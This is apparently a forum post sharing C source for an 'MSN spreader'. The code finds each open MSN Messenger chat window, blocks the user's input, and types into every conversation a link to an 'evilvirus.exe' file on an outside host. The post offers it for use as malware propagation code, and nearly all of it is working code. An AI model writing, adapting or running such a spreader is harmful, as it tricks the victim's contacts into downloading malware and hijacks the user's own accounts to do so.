http://www.rohitab.com/discuss/topic/27154-msn-spreader/
Posts a message that's in 'Message' to all the contats you are talking to over msn.
That's the thing:
#include <windows.h>
char *Message = "http://www.fuckup.de/evilvirus.exe";
int WINAPI wep(HWND hwnd,LPARAM lparam)
{
char text[128],cname[128];
HWND child;
if(!GetClassName(hwnd,cname,sizeof cname))
return 0;
if(!strcmp(cname,"IMWindowClass")) {
child = FindWindowExA(hwnd,0,"DirectUIHWND",0);
SetForegroundWindow(hwnd);
Sleep(500);
BlockInput(1);
for(int x=0;x<strlen(Message);x++)
PostMessageA(child,WM_CHAR,Message[x],0);
PostMessage(child, WM_KEYDOWN, VK_RETURN, 0);
PostMessage(child, WM_KEYUP, VK_RETURN, 0);
PostMessage(child, WM_KEYDOWN, VK_RETURN, 0);
PostMessage(child, WM_KEYUP, VK_RETURN, 0);
BlockInput(0);
Sleep(200);
}
}
int main()
{
EnumWindows(wep,0);
}